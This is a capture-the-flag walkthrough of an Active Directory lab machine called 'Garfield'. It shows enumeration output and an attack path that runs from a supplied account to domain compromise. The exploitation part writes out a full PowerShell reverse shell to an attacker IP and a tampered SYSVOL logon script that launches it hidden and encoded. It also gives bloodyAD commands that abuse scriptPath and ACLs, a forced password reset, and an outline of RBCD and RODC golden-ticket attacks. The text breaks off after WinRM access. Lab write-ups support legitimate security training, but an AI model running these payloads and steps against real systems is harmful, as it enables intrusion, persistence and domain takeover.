Overview
- Type Machines
- Direct Link Garfield
- OS Windows
- Severity Hard
- Creator ruycr4ft
- Release date 2026 Apr 05 (JST)
Information
As is common in real life pentests, you will start the Pirate box with credentials for the following account:
j.arbuckle / Th1sD4mnC4t!@1978
Attack Paths
Initial Foothold (l.wilson on DC01)
│
├─ Enumerate with supplied creds j.arbuckle
│ ├─ SMB SYSVOL READ → find logon script printerDetect.bat
│ ├─ ADPulse scan → Machine Account Quota = 10, no LDAP signing
│ ├─ DNS → hidden RODC01 (192.168.100.2)
│ └─ bloodyAD get writable → j.arbuckle has WRITE over l.wilson
│
└─ Logon Script hijack via scriptPath + SYSVOL ACL abuse
├─ Tamper printerDetect.bat with encoded PS reverse shell
├─ bloodyAD set l.wilson scriptPath → printerDetect.bat
└─ Next logon → reverse shell as l.wilson
Lateral Movement (l.wilson → l.wilson_adm)
│
├─ BloodHound: l.wilson → ForceChangePassword → l.wilson_adm
├─ net user l.wilson_adm Azerty123! /dom
│ └─ l.wilson_adm has CanPSRemote → WinRM into DC01
│ └─ type Desktop\user.txt → 👤 user.txt (l.wilson_adm)
│
├─ Ligolo-mp agent on DC01 → pivot into 192.168.100.0/24
│ └─ Reach RODC01.garfield.htb (192.168.100.2)
│
└─ BloodHound chain identified:
├─ l.wilson_adm → WriteAccountRestrictions → RODC01$ (RBCD)
├─ l.wilson_adm → AddSelf → RODC Administrators
└─ RODC01$ → ForceChangePassword → krbtgt_8245
Domain Compromise — RODC (Administrator on RODC01)
│
├─ Add l.wilson_adm to RODC Administrators group
│
├─ RBCD attack on RODC01$
│ ├─ Create computer account RPWN$ (MAQ = 10)
│ ├─ bloodyAD add rbcd RODC01$ RPWN$ (msDS-AllowedToActOnBehalf)
│ └─ impacket-getST -spn cifs/RODC01 -impersonate Administrator
│ → S4U2self + S4U2Proxy → Administrator ccache
│ └─ WinRM/psexec as Administrator on RODC01 (no flag here🐰🕳️)
│
└─ Sliver beacon on RODC01 → getsystem → NT AUTHORITY\SYSTEM
Privilege Escalation — RODC Golden Ticket _(root)_
│
├─ mimikatz lsadump::lsa /name:krbtgt_8245
│ └─ RODC krbtgt AES256 key d6c93cbe...e240
│
├─ Modify RODC replication policy (as l.wilson_adm)
│ ├─ msDS-RevealOnDemandGroup += Administrator
│ └─ msDS-NeverRevealGroup -= Builtin\Administrators
│
├─ Rubeus golden /rodcNumber:8245 /user:Administrator /aes256:...
│ └─ Forge RODC-signed TGT (RID 500, DA groups in PAC)
│
├─ KeyList attack: rubeus asktgs /keyList /service:krbtgt /dc:DC01
│ └─ DC01 validates RODC TGT → real Administrator TGS
│ → ticketConverter → garfield_admin.ccache
│
└─ nxc smb --use-kcache on DC01
├─ type Desktop\root.txt → 🚩 root.txt
└─ Extra: NTDS dump (all domain hashes)
Enumeration
Nmap
$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xx.xx
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-05 10:41 +0900
Nmap scan report for 10.129.xx.xx
Host is up (0.33s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-05 10:42:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-05T10:50:06+00:00
|_ssl-date: 2026-04-05T10:50:46+00:00; +8h04m06s from scanner time.
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after: 2026-08-15T01:10:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49900/tcp open msrpc Microsoft Windows RPC
49985/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Add to /etc/hosts: echo ‘10.129.xx.xx dc01.garfield.htb garfield.htb’ | sudo tee -a /etc/hosts
We found a Domain Controller of the domain garfield.htb but this open port 2179/tcp is not common.
- Port 2179/tcp (vmrdp) is primarily used by Microsoft Hyper-V for Virtual Machine Connection (VMRC) and RemoteFX/Remote Desktop Virtualization Host (RDVH) services.
- It facilitates Remote Desktop Protocol (RDP) connections directly to virtual machines, particularly for console access when managing hosts.
- It is important to restrict access to this port to avoid unauthorized access to virtual machines.
SMB Shared folder & Users (445/tcp)
Enumerate the SMB shares:
$ nxc smb dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB 10.129.xx.xx 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.xx.xx 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.xx.xx 445 DC01 [*] Enumerated shares
SMB 10.129.xx.xx 445 DC01 Share Permissions Remark
SMB 10.129.xx.xx 445 DC01 ----- ----------- ------
SMB 10.129.xx.xx 445 DC01 ADMIN$ Remote Admin
SMB 10.129.xx.xx 445 DC01 C$ Default share
SMB 10.129.xx.xx 445 DC01 IPC$ READ Remote IPC
SMB 10.129.xx.xx 445 DC01 NETLOGON READ Logon server share
SMB 10.129.xx.xx 445 DC01 SYSVOL READ Logon server share
We have
READaccess onSYSVOL, that means domain logon scripts can be found ingarfield.htb\scripts\
Let’s dig into:
$ pipx install smbclientng
$ smbclientng -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --host dc01.garfield.htb
_ _ _ _
___ _ __ ___ | |__ ___| (_) ___ _ __ | |_ _ __ __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | | __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__| |_| |_|\__, |
by @podalirius_ v3.0.0 |___/
[+] Successfully authenticated to 'dc01.garfield.htb' as '.\j.arbuckle'!
■[\\dc01.garfield.htb\]> use SYSVOL
■[\\dc01.garfield.htb\SYSVOL\]> tree
└── garfield.htb/
├── DfsrPrivate/
[error] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.. Base path: .\garfield.htb\DfsrPrivate
├── Policies/
│ ├── {31B2F340-016D-11D2-945F-00C04FB984F9}/
│ │ ├── MACHINE/
│ │ │ ├── Microsoft/
│ │ │ │ └── Windows NT/
│ │ │ │ └── SecEdit/
│ │ │ │ └── GptTmpl.inf
│ │ │ └── Registry.pol
│ │ ├── USER/
│ │ └── GPT.INI
│ └── {6AC1786C-016F-11D2-945F-00C04fB984F9}/
│ ├── MACHINE/
│ │ ├── Microsoft/
│ │ │ └── Windows NT/
│ │ │ ├── Audit/
│ │ │ │ └── audit.csv
│ │ │ └── SecEdit/
│ │ │ └── GptTmpl.inf
│ │ └── Scripts/
│ │ ├── Shutdown/
│ │ └── Startup/
│ ├── USER/
│ └── GPT.INI
└── scripts/
└── printerDetect.bat
■[\\dc01.garfield.htb\SYSVOL\]> cd garfield.htb/scripts/
■[\\dc01.garfield.htb\SYSVOL\garfield.htb\scripts\]> ls
d------- 0.00 B 2026-04-02 10:01 .\
d------- 0.00 B 2026-04-02 10:01 ..\
-a------ 217.00 B 2025-09-13 07:20 printerDetect.bat
■[\\dc01.garfield.htb\SYSVOL\garfield.htb\scripts\]> cat printerDetect.bat
@echo off
echo Detecting installed printers...
echo ==============================
wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table
echo.
echo Printer detection completed.
pause
■[\\dc01.garfield.htb\SYSVOL\garfield.htb\scripts\]> quit
Found a logon script
printerDetect.bat, if we can tamper it with a reverse shell then maybe that can be a good Beachhead.
Check the ACL of this file:
■[\\dc01.garfield.htb\SYSVOL\garfield.htb\scripts\]> acls
-a------ 217.00 B 2025-09-13 07:20 printerDetect.bat
Owner: BUILTIN\Administrators
Group: GARFIELD\Domain Users
Allowed: NT AUTHORITY\Authenticated Users READ_CONTROL | SYNCHRONIZE
Allowed: BUILTIN\Server Operators READ_CONTROL | SYNCHRONIZE
Allowed: GARFIELD\IT Support DELETE | READ_CONTROL | SYNCHRONIZE
j.arbucklecan interact to printerDetect.bat
Enumerate the users:
$ nxc smb dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB 10.129.xx.xx 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.xx.xx 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.xx.xx 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.xx.xx 445 DC01 Administrator 2025-10-03 17:29:26 0 Built-in account for administering the computer/domain
SMB 10.129.xx.xx 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.xx.xx 445 DC01 krbtgt 2025-08-13 11:05:26 0 Key Distribution Center Service Account
SMB 10.129.xx.xx 445 DC01 krbtgt_8245 2025-08-17 11:33:39 0 Key Distribution Center service account for read-only domain controller
SMB 10.129.xx.xx 445 DC01 j.arbuckle 2025-09-09 15:50:55 0
SMB 10.129.xx.xx 445 DC01 l.wilson 2026-01-27 21:40:33 0
SMB 10.129.xx.xx 445 DC01 l.wilson_adm 2026-01-13 14:56:35 0
SMB 10.129.xx.xx 445 DC01 [*] Enumerated 7 local users: GARFIELD
Found 3 interesting new users:
l.wilsonandl.wilson_admthat seems the admin account of the same domain user.krbtgt_8245is first time I saw something like that.
After a quick check with google, we found that seems related to Error code 8245 (0x2035) in Windows Active Directory refers to a failure in replication where the local krbtgt object is missing required attributes, maybe a hint.
BloodHound and Coe
$ nxc ldap dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --bloodhound --dns-server 10.129.xx.xx --collection All
LDAP 10.129.xx.xx 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.xx.xx 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
LDAP 10.129.xx.xx 389 DC01 Resolved collection methods: rdp, group, acl, psremote, container, objectprops, trusts, session, localadmin, dcom
LDAP 10.129.xx.xx 389 DC01 Done in 1M 14S
LDAP 10.129.xx.xx 389 DC01 Compressing output into //.nxc/logs/DC01_10.129.xx.xx_2026-04-08_190313_bloodhound.zip
Interesting no ldap signing…
We use ADPulse to automate the security checks:
$ git clone https://github.com/dievus/ADPulse.git
$ python3 ADPulse/ADPulse.py --domain garfield.htb --user j.arbuckle --password 'Th1sD4mnC4t!@1978'
╔═══════════════════════════════════════════╗
║ ADPulse Active Directory Security Scanner ║
║ version 1.0 ║
║ by TheMayor ║
╚═══════════════════════════════════════════╝
[+] Auth mode : password
[+] Domain Controller : 10.129.xx.xx
[!] LDAPS attempt failed (auth=NTLM, user=garfield.htb\j.arbuckle): socket ssl wrapping error: [Errno 104] Connection reset by peer
[!] LDAPS attempt failed (auth=NTLM, user=j.arbuckle@garfield.htb): invalid server address
[!] LDAPS attempt failed (auth=SIMPLE, user=j.arbuckle@garfield.htb): invalid server address
[!] LDAPS failed, falling back to LDAP port 389...
[+] Connected via LDAP (port 389)
[+] LDAP bind successful
[*] Password Policy
[*] Privileged Accounts
[*] Kerberos
[*] Unconstrained Delegation
[*] Constrained Delegation
[*] ADCS / PKI
[*] Domain Trusts
[*] Account Hygiene
[*] Protocol Security
[*] Group Policy Objects
[*] LAPS
[*] LAPS Password Coverage
[*] DNS & Infrastructure
[*] Domain Controllers
[*] ACL / Permissions
[*] Optional Features
[*] Replication Health
[*] Service Accounts & gMSA
[*] Miscellaneous Hardening
[*] Deprecated Operating Systems
[*] Legacy Protocol Exposure
Probing DC (10.129.xx.xx) for SMBv1 / signing / null sessions...
[*] Exchange / Mail Permissions
[*] Protected Admin Users (adminCount=1)
[*] Passwords in Descriptions
[*] GPP / cpassword in SYSVOL (MS14-025)
[*] AdminSDHolder ACL
[*] SID History
[*] Shadow Credentials (msDS-KeyCredentialLink)
[*] RC4 / Legacy Kerberos Encryption
[*] Foreign Security Principals in Privileged Groups
[*] Pre-Windows 2000 Compatible Access Group
[*] Dangerous Constrained Delegation Targets
[*] Orphaned AD Subnets
[*] SYSVOL Replication (FRS vs DFSR)
[*] RBCD on Domain Object
========================================================================
ADPulse ACTIVE DIRECTORY SECURITY SCAN REPORT
========================================================================
Domain : garfield.htb
DC : 10.129.xx.xx
Scanned : 2026-04-08 19:05:11
Risk Score : 0/100 [CRITICAL]
========================================================================
SUMMARY:
CRITICAL : 2 finding(s)
HIGH : 6 finding(s)
MEDIUM : 13 finding(s)
LOW : 1 finding(s)
INFO : 29 finding(s)
────────────────────────────────────────────────────────────────────────
AT A GLANCE — MOST CRITICAL FINDINGS:
────────────────────────────────────────────────────────────────────────
[CRITICAL] Unexpected Write ACEs on AdminSDHolder (SDProp Persistence)
3 non-privileged principal(s) have write permissions on AdminSDHolder. SDProp propagates these ACEs to ALL protected group members every 60 minutes, granting persistent, auto-restoring domain privilege that survives most cleanup.
>> Remove all unexpected ACEs from AdminSDHolder immediately: (Get-Acl 'AD:CN=AdminSDHolder,CN=System,...').Access | Where-Object {<non-admin filter>} | ForEach {Remove-AdPermission ...}
[CRITICAL] No Account Lockout Policy
Lockout threshold is 0 -- unlimited password guessing allowed.
>> Set lockout threshold to 5-10 attempts.
[HIGH] Minimum Password Length < 8
Minimum length is 7.
>> Set minimum password length to >= 14.
[HIGH] krbtgt Password Not Reset Recently
krbtgt password is 237 days old.
>> Reset krbtgt password twice (with pause) following Microsoft guidance.
[HIGH] LAPS Not Installed
Local Administrator Password Solution is not deployed.
>> Deploy Windows LAPS (built-in to Server 2019/Win11) or legacy LAPS.
────────────────────────────────────────────────────────────────────────
KEY METRICS:
────────────────────────────────────────────────────────────────────────
Deprecated OS 0 (active computers)
Unconstrained Delegation 0 (0 computers / 0 users)
adminCount=1 Accounts 2 (no orphans)
Passwords in Descriptions 0 (0 admin / 0 user / 0 computer)
GPOs 2 (0 orphaned/unlinked)
SID History Entries 0 (accounts with sIDHistory set)
Shadow Credentials 0 (msDS-KeyCredentialLink entries)
RC4-Permitted Service Accts 0 (Kerberoastable with weak hash)
AdminSDHolder Bad ACEs 3 (non-privileged write ACEs)
RBCD on Domain/DCs 0 (domain obj + DC objects affected)
────────────────────────────────────────────────────────────────────────
FINDINGS (sorted by severity):
────────────────────────────────────────────────────────────────────────
[CRITICAL] [Password Policy] No Account Lockout Policy
Lockout threshold is 0 -- unlimited password guessing allowed.
>> Set lockout threshold to 5-10 attempts.
[CRITICAL] [AdminSDHolder] Unexpected Write ACEs on AdminSDHolder (SDProp Persistence)
3 non-privileged principal(s) have write permissions on AdminSDHolder. SDProp propagates these ACEs to ALL protected group members every 60 minutes, granting persistent, auto-restoring domain privilege that survives most cleanup.
* Terminal Server License Servers (group) -- mask: 0x00000030
* Terminal Server License Servers (group) -- mask: 0x00000030
* S-1-5-10 -- mask: 0x00000130
>> Remove all unexpected ACEs from AdminSDHolder immediately: (Get-Acl 'AD:CN=AdminSDHolder,CN=System,...').Access | Where-Object {<non-admin filter>} | ForEach {Remove-AdPermission ...}
-> https://attack.mitre.org/techniques/T1078/002/
-> https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory
[HIGH] [Password Policy] Minimum Password Length < 8
Minimum length is 7.
>> Set minimum password length to >= 14.
[HIGH] [Privileged Accounts] Built-in Administrator Recently Used
RID-500 administrator logged in recently -- should not be used for daily tasks.
>> Use named admin accounts; reserve RID-500 for break-glass only.
[HIGH] [Privileged Accounts] krbtgt Password Not Reset Recently
krbtgt password is 237 days old.
>> Reset krbtgt password twice (with pause) following Microsoft guidance.
-> https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password
[HIGH] [Delegation] Constrained Delegation with Protocol Transition (S4U2Self)
1 account(s) have TrustedToAuthForDelegation set.
* RODC01$ ->
>> Remove TrustedToAuthForDelegation where not strictly required.
-> https://attack.mitre.org/techniques/T1134/001/
[HIGH] [LAPS] LAPS Not Installed
Local Administrator Password Solution is not deployed.
>> Deploy Windows LAPS (built-in to Server 2019/Win11) or legacy LAPS.
[HIGH] [Domain Controllers] Single Domain Controller Detected
Only one DC -- single point of failure.
>> Deploy at least two DCs for redundancy.
[MEDIUM] [Password Policy] Passwords Never Expire
No maximum password age configured.
>> Set max password age to <= 90 days.
[MEDIUM] [Password Policy] Password Complexity Disabled
Complexity requirements are off.
>> Enable password complexity or enforce passphrase policy.
[MEDIUM] [Privileged Accounts] Non-Expiring Passwords in 'Domain Admins'
1 admin(s) with non-expiring passwords.
* Administrator
>> Enforce password expiration on all admin accounts.
[MEDIUM] [Privileged Accounts] Non-Expiring Passwords in 'Enterprise Admins'
1 admin(s) with non-expiring passwords.
* Administrator
>> Enforce password expiration on all admin accounts.
[MEDIUM] [Privileged Accounts] Non-Expiring Passwords in 'Schema Admins'
1 admin(s) with non-expiring passwords.
* Administrator
>> Enforce password expiration on all admin accounts.
[MEDIUM] [Privileged Accounts] Non-Expiring Passwords in 'Administrators'
1 admin(s) with non-expiring passwords.
* Administrator
>> Enforce password expiration on all admin accounts.
[MEDIUM] [Privileged Accounts] Built-in Administrator Account Enabled
The built-in Administrator account (RID-500) is active.
>> Rename and/or create a decoy Administrator account. Consider disabling it.
[MEDIUM] [Protocol Security] LDAP Signing / Channel Binding (Manual Verification)
Cannot read ldapServerIntegrity via LDAP.
>> Verify via GPO: 'Domain controller: LDAP server signing requirements' = Require signing.
[MEDIUM] [ACL] No Users in Protected Users Group
The Protected Users group provides extra Kerberos protections.
>> Add all privileged accounts to the Protected Users group.
[MEDIUM] [Hardening] Machine Account Quota > 0
ms-DS-MachineAccountQuota = 10. Any domain user can add up to 10 computers.
>> Set ms-DS-MachineAccountQuota to 0.
[MEDIUM] [Privileged Accounts] Disabled Accounts Retaining adminCount=1 (Ghost Admins)
1 disabled account(s) still carry adminCount=1.
* krbtgt
>> Remove from all privileged groups and clear adminCount, then delete.
[MEDIUM] [Kerberos Encryption] Domain Controllers Permitting RC4 Kerberos Encryption
1 DC(s) have RC4 in their supported encryption types, allowing clients to negotiate weaker RC4 tickets.
* DC01.garfield.htb (encTypes=0x1c)
>> Configure Network Security: Configure encryption types allowed for Kerberos via GPO to require AES only. Disable RC4 compatibility once all clients support AES.
[MEDIUM] [Pre-Win2k Access] Pre-Windows 2000 Group Contains Authenticated Users
Authenticated Users in this group broadens SAMR enumeration rights beyond what modern AD requires.
>> Remove Authenticated Users unless a specific legacy application requires it. Restrict SAMR enumeration via GPO: Network access: Restrict clients allowed to make remote calls to SAM.
[LOW] [Password Policy] No Minimum Password Age
Users can change passwords immediately, bypassing history controls.
>> Set minimum password age to 1 day.
────────────────────────────────────────────────────────────────────────
ADDITIONAL CHECK SUMMARY:
────────────────────────────────────────────────────────────────────────
Deprecated OS computers 0
Unconstrained deleg. (computers) 0
Unconstrained deleg. (users) 0
Constrained deleg. (proto-xtn) 1
Constrained deleg. (standard) 0
adminCount=1 (total) 2
adminCount=1 (orphaned) 0
adminCount=1 (disabled/ghost) 1
adminCount=1 (stale) 0
Passwords in desc. (admins) 0
Passwords in desc. (users) 0
Passwords in desc. (computers) 0
GPOs (orphaned) 0
GPOs (unlinked) 0
GPOs (empty/never edited) 0
GPP cpassword scan SYSVOL not accessible
AdminSDHolder risky ACEs 3
SID history (total accounts) 0
Shadow credentials (total) 0
RC4-permitted service accounts 0
RC4-permitted domain controllers 1
Admin accts without AES enctype 0
FSPs in privileged groups 0
Pre-Win2k group (dangerous members) False
Dangerous delegation targets 0
Orphaned AD subnets 0
SYSVOL uses legacy FRS False
RBCD on domain object False
RBCD on DC computer objects 0
[+] JSON report -> Reports/ad_scan_garfield.htb_20260408_190511.json
[+] HTML report -> Reports/ad_scan_garfield.htb_20260408_190511.html
Interesting findings:

And Machine Account Quota = 10 then we can create a new computer object.
$ dig A rodc01.garfield.htb @10.129.xx.xx
; <<>> DiG 9.20.20-1-Debian <<>> A rodc01.garfield.htb @10.129.xx.xx
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40288
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;rodc01.garfield.htb. IN A
;; ANSWER SECTION:
rodc01.garfield.htb. 1200 IN A 192.168.100.2
Found a Read Only Domain Controler, add
192.168.100.2 rodc01.garfield.htbto /etc/hosts.
We use GriffonAD for a quick analysis:
$ ./griffon.py ../DC01_10.129.xx.xx_2026-04-08_190313_bloodhound.zip
[+] extracting ../DC01_10.129.xx.xx_2026-04-08_190313_bloodhound.zip
[+] found 7 JSON files in zip
♦USER the user is an admin
★USER there is a path to gain admin privileges
USER the user is owned
USER the user is disabled
A admincount is set (this flag doesn't tell that the user is an admin, it could be an old admin)
K the user may be Kerberoastable (at least one SPN is set)
N DONT_REQUIRE_PREAUTH (ASREPRoastable)
P the user is in the Protected group
!R PASSWORD_NOTREQUIRED (it means the password can be empty)
S SENSITIVE
T TRUSTED_TO_AUTH_FOR_DELEGATION (it means you can impersonate to admin in constrained delegations)
!X DONT_EXPIRE_PASSWORD
♦ADMINISTRATOR A !X
< ♦DOMAIN ADMINS
< SCHEMA ADMINS
< DENIED RODC PASSWORD REPLICATION GROUP
< GROUP POLICY CREATOR OWNERS
< ♦BUILTIN\ADMINISTRATORS
< ♦ENTERPRISE ADMINS
GenericAll(♦GARFIELD.HTB)
★DC01$ K
< BUILTIN\WINDOWS AUTHORIZATION ACCESS GROUP
< BUILTIN\ENTERPRISE DOMAIN CONTROLLERS
GetChanges_GetChangesInFilteredSet(♦GARFIELD.HTB)
AllowedToDelegate(many)
KRBTGT_8245 !X
L.WILSON !X
< BUILTIN\REMOTE DESKTOP USERS
< BUILTIN\REMOTE MANAGEMENT USERS
CanPSRemote(many)
CanRDP(many)
ForceChangePassword(L.WILSON_ADM)
L.WILSON_ADM !X
< BUILTIN\REMOTE DESKTOP USERS
< TIER 1
< BUILTIN\REMOTE MANAGEMENT USERS
CanPSRemote(many)
CanRDP(many)
ForceChangePassword(RODC01$)
WriteAccountRestrictions(RODC01$)
AddSelf(RODC ADMINISTRATORS)
RODC01$ K T
ForceChangePassword(KRBTGT_8245)
- L.WILSON –> ForceChangePassword –> L.WILSON_ADM
- L.WILSON_ADM –> ForceChangePassword –> RODC01$
- L.WILSON_ADM –> AddSelf –> RODC ADMINISTRATORS
- RODC01$ –> ForceChangePassword –> KRBTGT_8245
Now the full attack path is pretty clear and first we need to pwn l.wilson.
We use bloodyAD to list every object j.arbuckle has WRITE over:
$ bloodyAD --host dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD
j.arbucklehas WRITE overl.wilson
We have now all ingredients to proceed.
DC01
Exploit Logon Script via scriptPath and ACL abusing (l.wilson)
- The
scriptPathattribute on a domain user defines the logon script that runs when he authenticates. j.arbucklehas WRITE overl.wilson— so we can set hisscriptPathto any file onSYSVOL.j.arbucklehas WRITE toprinterDetect.batlocated inSYSVOL.- We will tamper
printerDetect.batincluding a reverse shell and will be executed under the context of the userl.wilsonon next logon.
- Start a Penelope listener
$ penelope -p 443 -i tun0
[+] Listening for reverse shells on 10.10.16.xx:443
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
- Craft a PowerShell reverse shell and base64 encode it
$ echo '$client = New-Object System.Net.Sockets.TCPClient("10.10.16.xx",443);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback=(iex $data 2>&1|Out-String);
$sendback2=$sendback+"PS "+(pwd).Path+"> ";
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()' | iconv -t UTF-16LE | base64 -w0
Output:
JABjAGwAaQBlAG4AdAAgAD0A...AHMAZQAoACkACgA=
- Craft a malicious BAT file and upload it
cat > ./printerDetect.bat << EOF
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAGwAaQBlAG4AdAAgAD0A...AHMAZQAoACkACgA=
EOF
$ smbclientng -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --host dc01.garfield.htb
_ _ _ _
___ _ __ ___ | |__ ___| (_) ___ _ __ | |_ _ __ __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | | __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__| |_| |_|\__, |
by @podalirius_ v3.0.0 |___/
[+] Successfully authenticated to 'dc01.garfield.htb' as '.\j.arbuckle'!
■[\\dc01.garfield.htb\]> use SYSVOL
■[\\dc01.garfield.htb\SYSVOL\]> cd garfield.htb/scripts/
■[\\dc01.garfield.htb\SYSVOL\garfield.htb\scripts\]> put printerDetect.bat
'printerDetect.bat' ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 1.4/1.4 kB • ? • 0:00:00
■[\\dc01.garfield.htb\SYSVOL\garfield.htb\scripts\]> quit
- Set the scriptPath on l.wilson
$ bloodyAD --host garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' \
set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
A few moment later we got our shell as l.wilson:
+] Got reverse shell from DC01 10.129.xx.xx Microsoft_Windows_Server_2019_Standard-x64-based_PC 👤 garfield\l.wilson • Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1] • Shell Type Readline • Menu key Ctrl-D ⇐
[+] Logging to //.penelope/sessions/DC01~10.129.xx.xx-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_04_08-21_28_35-596.log
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
PS C:\Windows\system32> [Environment]::UserName
l.wilson
Lateral Movement — l.wilson → l.wilson_adm (user)
Reset the password of l.wilson_adm:
PS C:\Windows\system32> net user l.wilson_adm Azerty123! /dom
OR
PS C:\Windows\system32> Set-ADAccountPassword -Identity "l.wilson_adm" -NewPassword (ConvertTo-SecureString 'Azerty123!' -AsPlainText -Force) -Reset
As l.wilson_adm has CanPSRemote to the DC then we can grab the user flag then login to the DC:
$ nxc winrm dc01.garfield.htb -u 'l.wilson_adm' -p 'Azerty123!' -X 'type c:\users\l.wilson_adm\Desktop\user.txt'
WINRM 10.129.xx.xx 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb)
WINRM 10.129.xx.xx 5985 DC01 [+] garfield.htb\l.wilson_adm:Azerty123! (Pwn3d!)
WINRM 10.129.xx.xx 5985 DC01 [+] Executed command (shell type: powershell)
WINRM 10.129.xx.xx 5985 DC01 <REDACTED>
$ python3 winrmexec/evil_winrmexec.py 'garfield.htb/l.wilson_adm:Azerty123!@dc01.garfield.htb'
